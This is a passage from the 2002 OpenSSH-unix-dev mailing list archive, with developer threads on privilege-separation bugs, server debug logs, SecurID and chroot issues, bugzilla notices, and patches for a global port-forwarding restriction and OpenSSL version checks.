Message-ID: <20020812184401.6647F7B9@starfruit.itojun.org>

>> 	in configure.ac, we AC_DEFINE(BROKEN_GETADDRINFO) for *-darwin-*
>> 	platforms.  recent Darwin fixed getaddrinfo to work as specified in
>> 	RFC2553, so the case clause is not needed for recent Darwin.
>> 	still not sure when it was corrected.  anyone has a clue?
>Can you think of any run-time tests which doesn't require an online DNS
>which can detect broken getaddrinfo implementations? 
>I'd much rather a runtime test than hardcoded workarounds in configure.

	i'll try to work on it this weekend.

itojun


From keith.schincke1 at jsc.nasa.gov  Tue Aug 13 05:08:35 2002
From: keith.schincke1 at jsc.nasa.gov (SCHINCKE, KEITH (JSC-SM) (LM))
Date: Mon, 12 Aug 2002 14:08:35 -0500
Subject: OSF/1 or Tru64 patch for Privsep
Message-ID: <1408A865DCF403478A33EE887F87473204E00E11@jsc-mail03.jsc.nasa.gov>

Remote execution works with privsep turned off.

Ok, I have traced some things down to where the program stops. 

session.c:do_child() calls the privsep wrapper for setup_sia (mm_setup_sia
is actuall called)
	s->ttyfd is -1 so NULL passed in as the tty.
monitor_wrap.c:mm_setup_sia calls buffer_put_cstring(&m, tty)
bufaux.c:buffer_put_cstring calls fatal() when s is NULL. 


I am still new to looking at the code but why not do
	'buffer_put_string(&m,tty,strlen(tty));'
in monitor_wrap.c:mm_setup_sia?


-----Original Message-----
From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
Sent: Monday, August 12, 2002 1:31 PM
To: SCHINCKE, KEITH (JSC-SM) (LM)
Cc: OpenSSH Development
Subject: RE: OSF/1 or Tru64 patch for Privsep



Every also test w/ and w/out Privsep so we don't break the non-privsep
case. (That would be a *REAL* shame if we did. <weak smile>)

- Ben


On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:

> HAVE_OSF_SIA yes
> X11 forward yes
> remote command execution fails with "buffer_put_cstring: s == NULL"
>
> I am looking into where things failing at.
>
> -----Original Message-----
> From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> Sent: Monday, August 12, 2002 11:08 AM
> To: SCHINCKE, KEITH (JSC-SM) (LM)
> Cc: OpenSSH Development
> Subject: RE: OSF/1 or Tru64 patch for Privsep
>
>
>
> try everything... X11 forward, port forwarding, executing remote commands.
>
> Everything needs to be tested.. Also check to ensure HAVE_OSF_SIA is set
> in your config.h.
>
> - Ben
>
> On Mon, 12 Aug 2002, SCHINCKE, KEITH (JSC-SM) (LM) wrote:
>
> > Hey Ben,
> >
> > I pulled the latest snap shot (20020801) and got your patch to apply
with
> > only one chunk rejected.
> >
> > I have been able to login with the new code using the OpenSSH client,
> > ssh.com 3.1.0 and putty 0.52.
> >
> > "It works for me."
> >
> > Any other data points you are interested in?
> >
> > Thanks for the work you put into this.
> >
> > Keith
> >
> > -----Original Message-----
> > From: Ben Lindstrom [mailto:mouring at etoh.eviladmin.org]
> > Sent: Sunday, August 11, 2002 5:38 PM
> > To: OpenSSH Development
> > Subject: OSF/1 or Tru64 patch for Privsep
> >
> >
> >
> > Either this never made it to the list or no one cares about Tru64.  This
> > is the last time I'll send this patch to the list.  If no one steps up
and
> > finishes it or provides me with enough information to fix any remaining
> > bugs (one being complaint that 'ssh site cmd' does not work right).
> >
> > If there is no activity on this for a week.  I'll post it to bugzilla
and
> > will ignore any request for me to fix Tru64.
> >
> > I do thank everyone that has privately contributed help in regards to
> > testing and such.
> >
> > This patch may apply to 3.4p1, but I'd perfer testing to be done on
-cvs.
> >
> > - Ben
> >
>


From rcoss at dm.uba.ar  Tue Aug 13 08:58:57 2002
From: rcoss at dm.uba.ar (Rodolfo Cossalter)
Date: Mon, 12 Aug 2002 18:58:57 -0400 (ART)
Subject: PermitRootLogin=forced-commands-only does not work with UsePrivilegeSeparation=yes
Message-ID: <20020812225859Z435043-735+215@mate.dm.uba.ar>

Using openssh-3.4p1 on Linux I noticed that PermitRootLogin=forced-commands-only
does not work if UsePrivilegeSeparation is enabled; but it does work if privsep
is disabled.
Here are excerpts of debug from the server.

-----------UsePrivilegeSeparation DISABLED-------
...
Found matching DSA key: 56:9d:72:b0:4f:67:2e:ed:06:e7:41:03:e2:86:52:0d^M
debug1: restore_uid^M
debug1: ssh_dss_verify: signature correct^M
(*) debug2: userauth_pubkey: authenticated 1 pkalg ssh-dss^M
(*) Root login accepted for forced command.^M
debug2: pam_acct_mgmt() = 0^M
Accepted publickey for root from xx.xx.xx.xx port 1091 ssh2^M
debug1: Entering interactive session for SSH2.^M
debug1: fd 5 setting O_NONBLOCK^M
debug1: fd 9 setting O_NONBLOCK^M
debug1: server_init_dispatch_20^M
debug1: server_input_channel_open: ctype session rchan 0 win 131072 max 32768^M
debug1: input_session_request^M
debug1: channel 0: new [server-session]^M
debug1: session_new: init^M
debug1: session_new: session 0^M
debug1: session_open: channel 0^M
debug1: session_open: session 0: link with channel 0^M
debug1: server_input_channel_open: confirm session^M
debug1: server_input_channel_req: channel 0 request shell reply 0^M
debug1: session_by_channel: session 0 channel 0^M
debug1: session_input_channel_req: session 0 req shell^M
debug1: Forced command '/etc/zzzz'^M
debug1: PAM establishing creds^M
...
----------------------------------

-----------UsePrivilegeSeparation ENABLED-------
...
Found matching DSA key: 56:9d:72:b0:4f:67:2e:ed:06:e7:41:03:e2:86:52:0d^M
debug1: restore_uid^M
debug3: mm_answer_keyallowed: key 0x8112760 is allowed^M
debug3: mm_append_debug: Appending debug messages for child^M
debug3: mm_request_send entering: type 21^M
debug3: mm_request_receive entering^M
debug3: mm_send_debug: Sending debug: Forced command: /etc/zzzz^M
debug3: mm_key_verify entering^M
debug3: mm_request_send entering: type 22^M
debug3: monitor_read: checking request 22^M
debug3: mm_key_verify: waiting for MONITOR_ANS_KEYVERIFY^M
debug3: mm_request_receive_expect entering: type 23^M
debug3: mm_request_receive entering^M
debug1: ssh_dss_verify: signature correct^M
debug3: mm_answer_keyverify: key 0x8113808 signature verified^M
debug3: mm_request_send entering: type 23^M
(*) Root login accepted for forced command.^M
(*) debug2: userauth_pubkey: authenticated 1 pkalg ssh-dss^M
ROOT LOGIN REFUSED FROM xx.xx.xx.xx^M
Failed publickey for root from xx.xx.xx.xx port 1094 ssh2^M
debug2: pam_acct_mgmt() = 0^M
Accepted publickey for root from xx.xx.xx.xx port 1094 ssh2^M
debug1: monitor_child_preauth: root has been authenticated by privileged process^M
debug3: mm_get_keystate: Waiting for new keys^M
debug3: mm_request_receive_expect entering: type 24^M
debug3: mm_request_receive entering^M
debug1: userauth-request for user root service ssh-connection method password^M
debug1: attempt 3 failures 2^M
debug2: input_userauth_request: try method password^M
debug3: mm_auth_password entering^M
debug3: mm_request_send entering: type 10^M
debug3: mm_auth_password: waiting for MONITOR_ANS_AUTHPASSWORD^M
debug3: mm_request_receive_expect entering: type 11^M
debug3: mm_request_receive entering^M
mm_request_receive_expect: read: rtype 10 != type 24^M
debug1: Calling cleanup 0x8052c70(0x0)^M
debug1: Calling cleanup 0x80697a8(0x0)^M
debug1: Calling cleanup 0x80697a8(0x0)^M

-----------------

Notice the swapping of lines marked (*)

Any ideas?

Rodolfo Cossalter
Universidad de Buenos Aires


From djm at mindrot.org  Tue Aug 13 08:54:38 2002
From: djm at mindrot.org (Damien Miller)
Date: 13 Aug 2002 08:54:38 +1000
Subject: OSF/1 or Tru64 patch for Privsep
In-Reply-To: 
	<1408A865DCF403478A33EE887F87473204E00E08@jsc-mail03.jsc.nasa.gov>
References: 
	<1408A865DCF403478A33EE887F87473204E00E08@jsc-mail03.jsc.nasa.gov>
Message-ID: <1029192878.1619.11.camel@localhost.localdomain>

On Tue, 2002-08-13 at 01:50, SCHINCKE, KEITH (JSC-SM) (LM) wrote:
> Hey Ben,
> 
> I pulled the latest snap shot (20020801) and got your patch to apply with
> only one chunk rejected. 
> 
> I have been able to login with the new code using the OpenSSH client,
> ssh.com 3.1.0 and putty 0.52.
> 
> "It works for me."
> 
> Any other data points you are interested in?

If you could run the regression tests in regress/ You do need Berkeley
make though.

-d



From stuge-openssh-unix-dev at cdy.org  Tue Aug 13 12:26:28 2002
From: stuge-openssh-unix-dev at cdy.org (Peter Stuge)
Date: Tue, 13 Aug 2002 04:26:28 +0200
Subject: OSF/1 or Tru64 patch for Privsep
In-Reply-To: <1408A865DCF403478A33EE887F87473204E00E11@jsc-mail03.jsc.nasa.gov>; from keith.schincke1@jsc.nasa.gov on Mon, Aug 12, 2002 at 02:08:35PM -0500
References: <1408A865DCF403478A33EE887F87473204E00E11@jsc-mail03.jsc.nasa.gov>
Message-ID: <20020813042628.A24222@foo.birdnet.se>

On Mon, Aug 12, 2002 at 02:08:35PM -0500, SCHINCKE, KEITH (JSC-SM) (LM) wrote:
> 	s->ttyfd is -1 so NULL passed in as the tty.
> monitor_wrap.c:mm_setup_sia calls buffer_put_cstring(&m, tty)
> bufaux.c:buffer_put_cstring calls fatal() when s is NULL. 
> 
> I am still new to looking at the code but why not do
> 	'buffer_put_string(&m,tty,strlen(tty));'
> in monitor_wrap.c:mm_setup_sia?

strlen(NULL) is bad.  It will try to access memory att address 0 and cause
an access violation.  Instead maybe add

  if(tty != NULL)

in monitor_wrap.c:mm_setup_sia() before the call to buffer_put_cstring()

(Please note that this might be a bad idea, I haven't been following this
thread closely.)


//Peter


From mouring at etoh.eviladmin.org  Tue Aug 13 14:04:57 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Mon, 12 Aug 2002 23:04:57 -0500 (CDT)
Subject: OSF/1 or Tru64 patch for Privsep
In-Reply-To: <20020813042628.A24222@foo.birdnet.se>
Message-ID: <Pine.BSO.4.44.0208122303310.2234-100000@etoh.eviladmin.org>


On Tue, 13 Aug 2002, Peter Stuge wrote:

> On Mon, Aug 12, 2002 at 02:08:35PM -0500, SCHINCKE, KEITH (JSC-SM) (LM) wrote:
> > 	s->ttyfd is -1 so NULL passed in as the tty.
> > monitor_wrap.c:mm_setup_sia calls buffer_put_cstring(&m, tty)
> > bufaux.c:buffer_put_cstring calls fatal() when s is NULL.
> >
> > I am still new to looking at the code but why not do
> > 	'buffer_put_string(&m,tty,strlen(tty));'
> > in monitor_wrap.c:mm_setup_sia?
>
> strlen(NULL) is bad.  It will try to access memory att address 0 and cause
> an access violation.  Instead maybe add
>

<nod>  Yet another stupid acceptable to a stupid language. =)


>   if(tty != NULL)
>
> in monitor_wrap.c:mm_setup_sia() before the call to buffer_put_cstring()
>

In my tree I've moved them to buffer_put_string()  and testing if tty is
NULL first.

I'll issue an updated patch as soon as I get CVS access back so I can
update with the current tree.

- Ben



From vervoom at hotmail.com  Wed Aug 14 01:34:28 2002
From: vervoom at hotmail.com (J S)
Date: Tue, 13 Aug 2002 15:34:28 +0000
Subject: password prompt
Message-ID: <LAW2-F91nRu2yfiTDJ800008448@hotmail.com>

I can't see any way to get scp/sftp to work with keyboard interactive, so 
think I'll have to go back to my original plan which was to try and fix the 
securid patch to get it to display the passcode prompt.

Assuming non keyboard-interactive then, could someone tell me where in the 
openssh code, the current password prompt gets created/called from please?

Many thanks,

JS.

Markus,

Thanks for your help on this. I'm not sure whether I understood your answer
though. The keyboard interactive is switched on in the sshd_config, and I've
got passcode prompts working now with ssh but scp and sftp cut out before I
can connect. Is there someway to switch keyboard interactive on for the
sftp-server?


>On Tue, Aug 06, 2002 at 12:01:28PM +0000, J S wrote:
> > Should keyboard interactive work with scp and sftp for securid as well 
>then?
>
>yes, but it depends on whether the server does speak keyboard interactive .



_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com



From kent.wick at mhmr.state.tx.us  Wed Aug 14 04:39:20 2002
From: kent.wick at mhmr.state.tx.us (Wick, Kent)
Date: Tue, 13 Aug 2002 13:39:20 -0500
Subject: Further comment on chroot patch for openssh-3.4p1
Message-ID: <BE5D6C13A6AAD61194FF00A0C98F150A35C000@mhmrcoes1.co.mhmr.state.tx.us>

The way this was last supplied to this list (2002-07-13) has the chroot
after the call to 'setpcred'.  In AIX 4.3.3 the call to setpcred changes
the uid and eff. uid to the user attempting to logon.  Then the call to
chroot( new_home ) fails because AIX requires that any user issuing
the chroot subroutine be at root authority.
Net result: attempting to do a chroot after the call to setpcred fails.

I tried moving the setpcred after the chroot code but ran into other 
problems which I am not prepared to attempt to address.  This email
is only for information for anybody trying to get chroot on openssh to
work.

If the people who might be working on the chroot capability of openssh
come up with any revisions I would probably be available to test them.
====================================================
Kent Wick,  TxMHMR,  Unix/Network Systems Programmer
Email:  kent.wick at mhmr.state.tx.us
Phone:  (512) 206-5931   Fax:  (512) 206-4838
Snail mail:  PO Box 12668, Austin, Tx 78711-2668



From mouring at etoh.eviladmin.org  Wed Aug 14 05:00:24 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Tue, 13 Aug 2002 14:00:24 -0500 (CDT)
Subject: Further comment on chroot patch for openssh-3.4p1
In-Reply-To: <BE5D6C13A6AAD61194FF00A0C98F150A35C000@mhmrcoes1.co.mhmr.state.tx.us>
Message-ID: <Pine.BSO.4.44.0208131359360.2234-100000@etoh.eviladmin.org>

Please check out the current snapshots.  I believe this has all been
resolved at least a month ago.

http://www.openssh.com/portable.html, pick your favorate mirror, select
'snapshots'  and pick someone close to today's date.

- Ben

On Tue, 13 Aug 2002, Wick, Kent wrote:

> The way this was last supplied to this list (2002-07-13) has the chroot
> after the call to 'setpcred'.  In AIX 4.3.3 the call to setpcred changes
> the uid and eff. uid to the user attempting to logon.  Then the call to
> chroot( new_home ) fails because AIX requires that any user issuing
> the chroot subroutine be at root authority.
> Net result: attempting to do a chroot after the call to setpcred fails.
>
> I tried moving the setpcred after the chroot code but ran into other
> problems which I am not prepared to attempt to address.  This email
> is only for information for anybody trying to get chroot on openssh to
> work.
>
> If the people who might be working on the chroot capability of openssh
> come up with any revisions I would probably be available to test them.
> ====================================================
> Kent Wick,  TxMHMR,  Unix/Network Systems Programmer
> Email:  kent.wick at mhmr.state.tx.us
> Phone:  (512) 206-5931   Fax:  (512) 206-4838
> Snail mail:  PO Box 12668, Austin, Tx 78711-2668
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From bugzilla-daemon at mindrot.org  Wed Aug 14 05:41:20 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 14 Aug 2002 05:41:20 +1000 (EST)
Subject: [Bug 384] New: OpenSSH should store an SSH_SERVER variable for cluster hosts
Message-ID: <20020813194120.5A8D83D15F@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=384

           Summary: OpenSSH should store an SSH_SERVER variable for cluster
                    hosts
           Product: Portable OpenSSH
           Version: -current
          Platform: All
        OS/Version: All
            Status: NEW
          Severity: enhancement
          Priority: P4
         Component: ssh
        AssignedTo: openssh-unix-dev at mindrot.org
        ReportedBy: thomas+openssh at stromberg.org


We run a cluster here with OpenSSH, and have users SSH into various cluster
instance names, each with a virtual IP.

There is no good way to get from OpenSSH the current IP that they have SSH'd
into so we can set their environment up properly. While there is SSH_CLIENT,
there is no SSH_SERVER variable. I think this will be useful for anyone using a
cluster with OpenSSH installed. 

Adding an SSH_SERVER variable was a very trivial 2-line patch, and we've been
using this on our cluster nodes for some months now. I figure now that we are
upgrading to OpenSSH 3.4pl1, we should commit this back so we don't have to
patch it each time we upgrade. I'll attach the tiny patch to this ticket.



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Wed Aug 14 05:43:56 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 14 Aug 2002 05:43:56 +1000 (EST)
Subject: [Bug 384] OpenSSH should store an SSH_SERVER variable for cluster hosts
Message-ID: <20020813194356.AEF343D170@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=384





------- Additional Comments From thomas+openssh at stromberg.org  2002-08-14 05:43 -------
Created an attachment (id=137)
 --> (http://cvs-mirror.mozilla.org/webtools/bugzilla/attachment.cgi?id=137&action=view)
2 line patch for SSH_SERVER variable with incoming IP & port

This patch adds an SSH_SERVER variable as a counterpart to the existing
SSH_CLIENT variable. Instead of storing the client IP & port, it stores the
server IP and port.




------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From dot at dotat.at  Wed Aug 14 05:50:07 2002
From: dot at dotat.at (Tony Finch)
Date: Tue, 13 Aug 2002 20:50:07 +0100
Subject: [PATCH] global port forwarding restriction
Message-ID: <20020813205007.G6863@chiark.greenend.org.uk>

Here's another patch for people providing ssh access to restricted
environments.

We allow our users to use port forwarding when logging into our mail
servers so that they can use it to fetch mail over an encrypted channel
using clients that don't support TLS, for example fetchmail.  (In fact,
fetchmail has built-in ssh support.) However we don't want them connecting
to other places pretending to be us, or using the feature to dig around
inside the system's private network, etc. etc.

This patch makes the existing permitopen="host:port" authorized_keys file
option available in sshd_config, enabling the administrator to make it
a global restriction rather than a per-key restriction.

Any comments and suggested improvements are welcome. In particular,
I'm not entirely sure that I have connected the pieces up in the most
elegant fashion. I did also consider creating two new directives -- one
for each direction of TCP forwarding -- so that enabling them could be
configured independently, but that got a bit ugly and anyway listening
ports bound to localhost aren't all that dodgy.

Tony.
-- 
f.a.n.finch <dot at dotat.at> http://dotat.at/
NORTHWEST ROCKALL MALIN HEBRIDES: SOUTHWEST 4 OR 5 BACKING SOUTHEAST 5 OR 6,
OCCASIONALLY 7 LATER. RAIN AT TIMES. MODERATE OR GOOD.



--- auth-options.c	26 Jul 2002 11:02:28 -0000	1.3
+++ auth-options.c	13 Aug 2002 19:16:27 -0000
@@ -221,8 +221,6 @@
 		}
 		cp = "permitopen=\"";
 		if (strncasecmp(opts, cp, strlen(cp)) == 0) {
-			char host[256], sport[6];
-			u_short port;
 			char *patterns = xmalloc(strlen(opts) + 1);
 
 			opts += strlen(cp);
@@ -247,8 +245,7 @@
 			}
 			patterns[i] = 0;
 			opts++;
-			if (sscanf(patterns, "%255[^:]:%5[0-9]", host, sport) != 2 &&
-			    sscanf(patterns, "%255[^/]/%5[0-9]", host, sport) != 2) {
+			if (channel_add_permitted_opens(patterns) < 0) {
 				debug("%.100s, line %lu: Bad permitopen specification "
 				    "<%.100s>", file, linenum, patterns);
 				auth_debug_add("%.100s, line %lu: "
@@ -256,16 +253,6 @@
 				xfree(patterns);
 				goto bad_option;
 			}
-			if ((port = a2port(sport)) == 0) {
-				debug("%.100s, line %lu: Bad permitopen port <%.100s>",
-				    file, linenum, sport);
-				auth_debug_add("%.100s, line %lu: "
-				    "Bad permitopen port", file, linenum);
-				xfree(patterns);
-				goto bad_option;
-			}
-			if (options.allow_tcp_forwarding)
-				channel_add_permitted_opens(host, port);
 			xfree(patterns);
 			goto next_option;
 		}
--- channels.c	24 Jul 2002 11:04:17 -0000	1.1.1.1
+++ channels.c	13 Aug 2002 19:17:08 -0000
@@ -96,6 +96,10 @@
 
 /* Number of permitted host/port pairs in the array. */
 static int num_permitted_opens = 0;
+
+/* Don't allow any more to be added. */
+static int fix_permitted_opens = 0;
+
 /*
  * If this is true, all opens are permitted.  This is the case on the server
  * on which we have to trust the client anyway, and the user could do
@@ -2212,10 +2216,31 @@
 		all_opens_permitted = 1;
 }
 
+/*
+ * If the server-wide configuration specifies some permitted_opens
+ * then don't allow users to add to them.
+ */
 void
-channel_add_permitted_opens(char *host, int port)
+channel_fix_permitted_opens(void)
 {
-	if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION)
+	if (num_permitted_opens != 0)
+		fix_permitted_opens = 1;
+}
+
+int
+channel_add_permitted_opens(char *hostport)
+{
+	char host[256], sport[6];
+	u_short port;
+
+	if (sscanf(hostport, "%255[^:]:%5[0-9]", host, sport) != 2 &&
+	    sscanf(hostport, "%255[^/]/%5[0-9]", host, sport) != 2)
+		return -1;
+	if ((port = a2port(sport)) == 0)
+		return -1;
+
+	if (num_permitted_opens >= SSH_MAX_FORWARDS_PER_DIRECTION ||
+	    fix_permitted_opens)
 		fatal("channel_request_remote_forwarding: too many forwards");
 	debug("allow port forwarding to host %s port %d", host, port);
 
@@ -2224,6 +2249,7 @@
 	num_permitted_opens++;
 
 	all_opens_permitted = 0;
+	return 0;
 }
 
 void
@@ -2231,6 +2257,8 @@
 {
 	int i;
 
+	if (fix_permitted_opens)
+		return;
 	for (i = 0; i < num_permitted_opens; i++)
 		xfree(permitted_opens[i].host_to_connect);
 	num_permitted_opens = 0;
--- channels.h	24 Jul 2002 11:04:17 -0000	1.1.1.1
+++ channels.h	13 Aug 2002 18:47:22 -0000
@@ -193,7 +193,8 @@
 /* tcp forwarding */
 void	 channel_set_af(int af);
 void     channel_permit_all_opens(void);
-void	 channel_add_permitted_opens(char *, int);
+void     channel_fix_permitted_opens(void);
+int	 channel_add_permitted_opens(char *);
 void	 channel_clear_permitted_opens(void);
 void     channel_input_port_forward_request(int, int);
 int	 channel_connect_to(const char *, u_short);
--- servconf.c	26 Jul 2002 11:02:28 -0000	1.3
+++ servconf.c	13 Aug 2002 18:50:33 -0000
@@ -41,6 +41,7 @@
 #include "cipher.h"
 #include "kex.h"
 #include "mac.h"
+#include "channels.h"
 
 static void add_listen_addr(ServerOptions *, char *, u_short);
 static void add_one_listen_addr(ServerOptions *, char *, u_short);
@@ -236,6 +237,7 @@
 		options->allow_tcp_forwarding = 1;
 	if (options->gateway_ports == -1)
 		options->gateway_ports = 0;
+	channel_fix_permitted_opens();
 	if (options->max_startups == -1)
 		options->max_startups = 10;
 	if (options->max_startups_rate == -1)
@@ -297,7 +299,7 @@
 	sX11Forwarding, sX11DisplayOffset, sX11UseLocalhost,
 	sStrictModes, sEmptyPasswd, sKeepAlives,
 	sPermitUserEnvironment, sUseLogin, sAllowTcpForwarding, sCompression,
-	sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups,
+	sAllowUsers, sDenyUsers, sAllowGroups, sDenyGroups, sPermitTcpConnect,
 	sIgnoreUserKnownHosts, sCiphers, sMacs, sProtocol, sPidFile,
 	sGatewayPorts, sPubkeyAuthentication, sXAuthLocation, sSubsystem, sMaxStartups,
 	sBanner, sVerifyReverseMapping, sHostbasedAuthentication,
@@ -364,6 +366,7 @@
 	{ "compression", sCompression },
 	{ "keepalive", sKeepAlives },
 	{ "allowtcpforwarding", sAllowTcpForwarding },
+	{ "permittcpconnect", sPermitTcpConnect },
 	{ "allowusers", sAllowUsers },
 	{ "denyusers", sDenyUsers },
 	{ "allowgroups", sAllowGroups },
@@ -764,6 +767,18 @@
 	case sAllowTcpForwarding:
 		intptr = &options->allow_tcp_forwarding;
 		goto parse_flag;
+
+	case sPermitTcpConnect:
+		arg = strdelim(&cp);
+		p = NULL;
+		if (!arg || *arg == '\0')
+			p = "missing";
+		if (channel_add_permitted_opens(arg) < 0)
+			p = "bad";
+		if (p != NULL)
+			fatal("%.200s, line %d: %s inet addr:port.",
+			    filename, linenum, p);
+		break;
 
 	case sUsePrivilegeSeparation:
 		intptr = &use_privsep;


From slava at jedit.org  Wed Aug 14 06:32:21 2002
From: slava at jedit.org (Slava Pestov)
Date: 13 Aug 2002 16:32:21 -0400
Subject: SFTP protocol specifications
Message-ID: <1029270741.4378.36.camel@cockatoo>

Hi,

I am the developer of a text editor written in Java (jedit.org), and I
would like to add SFTP support (it already supports plain vanilla FTP).

Since Java-based implementations of SSH are not very good, my plan is to
provide SFTP support only on Unix by executing the 'ssh' program using a
wrapper to create a controlling terminal (so the password can be
provided, etc).

I have two questions:

- Would the correct command to run be "ssh -l username host -s sftp"?

- Where can I find documentation on the file transfer protocol used by
SFTP? I looked at the source code but its a bit hard to understand.

I'm not subscribed to the list, so could any responses be CC:'d to me.

Many thanks,

Slava



From kmack at sgi.sk.ca  Wed Aug 14 06:46:31 2002
From: kmack at sgi.sk.ca (Kevin Mack)
Date: Tue, 13 Aug 2002 14:46:31 -0600
Subject: Agent Forwarding on Solaris, 3.4p1
Message-ID: <sd591bda.094@gwmail.sgi.sk.ca>

Has anyone used Agent Forwarding in 3.4p1?
We can't seem to get it working under Solaris 2.6 or 8 (Sparc).



From kmack at sgi.sk.ca  Wed Aug 14 08:38:26 2002
From: kmack at sgi.sk.ca (Kevin Mack)
Date: Tue, 13 Aug 2002 16:38:26 -0600
Subject: Agent Forwarding on Solaris, 3.4p1
Message-ID: <sd593611.083@gwmail.sgi.sk.ca>

>>> "Luc I. Suryo" <luc at suryo.com> 08/13/02 03:11PM >>>

>> Has anyone used Agent Forwarding in 3.4p1?
>> We can't seem to get it working under Solaris 2.6 or 8 (Sparc).

>i do, all sparc and intel 8, work just fine
>check your sshd_config and ssh_config files ...

With ssh-agent on machineA, we can connect to machineB, but
get prompted for the passphrase when we try to continue on
to machineC.

'ForwardAgent yes' is in ssh_config.  Using 'ssh -A' made no
difference.



From kmack at sgi.sk.ca  Wed Aug 14 11:30:00 2002
From: kmack at sgi.sk.ca (Kevin Mack)
Date: Tue, 13 Aug 2002 19:30:00 -0600
Subject: Agent Forwarding on Solaris, 3.4p1
Message-ID: <sd595e41.032@gwmail.sgi.sk.ca>

> >> Has anyone used Agent Forwarding in 3.4p1?
> >> We can't seem to get it working under Solaris 2.6 or 8 (Sparc).
> 
> >i do, all sparc and intel 8, work just fine
> >check your sshd_config and ssh_config files ...
> 
> With ssh-agent on machineA, we can connect to machineB, but
> get prompted for the passphrase when we try to continue on
> to machineC.
> 
> 'ForwardAgent yes' is in ssh_config.  Using 'ssh -A' made no
> difference.

It appears the "UseLogin yes" setting in sshd_config is the problem.
Turning this off made forwarding work again.  Thanks for all your
replies.



From tim at multitalents.net  Wed Aug 14 11:55:26 2002
From: tim at multitalents.net (Tim Rice)
Date: Tue, 13 Aug 2002 18:55:26 -0700 (PDT)
Subject: [Patch] Improve diags for "OpenSSL headers match library"
 configure  test
In-Reply-To: <3D4BC192.1EE19239@zip.com.au>
Message-ID: <Pine.UW2.4.44.0208131854100.14447-100000@ou8.int.multitalents.net>

I've commited your patch.
Thanks.

On Sat, 3 Aug 2002, Darren Tucker wrote:

> Ben Lindstrom wrote:
> > Suggestion.  Can we seperate the tests?
> >
> > OpenSSL header version you have is...<version number>
> > OpenSSL library version you have is..<version number>
> > Error: Header and Library conflict, please check for multiple version
> > installed.
> >
> > Or something like that.
>
> How's this? It's based on the --with-default-path handling as suggested
> by Tim.
>
> Because the header test returns the text description string too, I kept
> the original library/header test. Example output:
>
> checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking OpenSSL library version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking whether OpenSSL's headers match the library... yes
>
> checking OpenSSL header version... 90604f (OpenSSL 0.9.6d 9 May 2002)
> checking OpenSSL library version... 90602f (OpenSSL 0.9.6b [engine] 9
> Jul 2001)
> checking whether OpenSSL's headers match the library... no
> configure: error: Your OpenSSL headers do not match your library
>
>

-- 
Tim Rice				Multitalents	(707) 887-1469
tim at multitalents.net




From j.petersen at msh.de  Wed Aug 14 18:03:46 2002
From: j.petersen at msh.de (=?ISO-8859-1?Q?=22Petersen=2C_J=F6rg=22?=)
Date: Wed, 14 Aug 2002 10:03:46 +0200
Subject: Snapshots after 2002/08/01
Message-ID: <B56A3A4C735ED2118F25000083687FBB019D71FA@MSHNTS04>

Has anyone seen any Snapshot after 1st August ?

J?rg
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20020814/8eaca1ce/attachment.html 

From janfrode at ii.uib.no  Wed Aug 14 21:58:10 2002
From: janfrode at ii.uib.no (Jan-Frode Myklebust)
Date: Wed, 14 Aug 2002 13:58:10 +0200
Subject: AIX authenticate()
In-Reply-To: <Pine.BSO.4.44.0208121322350.2234-100000@etoh.eviladmin.org>; from mouring@etoh.eviladmin.org on Mon, Aug 12, 2002 at 01:27:07PM -0500
References: <20020812190754.B8644@ii.uib.no> <Pine.BSO.4.44.0208121322350.2234-100000@etoh.eviladmin.org>
Message-ID: <20020814135810.A14736@ii.uib.no>

On Mon, Aug 12, 2002 at 01:27:07PM -0500, Ben Lindstrom wrote:
> 
> >
> > 	SYSTEM = "NIS and DCE"
> >
> > Suggested (untested) patch should look like:
> >
> 
> How does this affect OpenSSH?  What can I do to mimic this on my AIX box?
> 

I'm not sure, but it sounds like in this example either: 

	1. Authentication can fail on NIS, and then try DCE

or 

	2. Both NIS and DCE authentication is required before
	   authenticate() succeeds. 

I don't have any nodes with NIS and/or DCE to test on.

Anyway, here's the man-page for AIX authenticate():

	http://usgibm.nersc.gov/usr/share/man/info/en_US/a_doc_lib/libs/basetrf1/authenticate.htm

" 
  The calling program makes no assumptions about the
  number of prompt messages the user must satisfy for authentication.

  The Reenter parameter remains a nonzero value until the user satisfies
  all prompt messages or answers incorrectly. Once the Reenter
  parameter is zero, the return code signals whether authentication
  passed or failed. 
"


  
  -jf


From bugzilla-daemon at mindrot.org  Wed Aug 14 23:56:12 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Wed, 14 Aug 2002 23:56:12 +1000 (EST)
Subject: [Bug 353] login failure on tru64
Message-ID: <20020814135612.49F223D165@shitei.mindrot.org>

http://cvs-mirror.mozilla.org/webtools/bugzilla/show_bug.cgi?id=353





------- Additional Comments From Wayne.Corelli at hp.com  2002-08-14 23:56 -------
A temporary work around is to set "UsePrivilegeSeparation no" in sshd_config  
althought this disables all the "enhanced security" features.

Would someone PLease address this!!!



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From mouring at etoh.eviladmin.org  Thu Aug 15 00:01:33 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
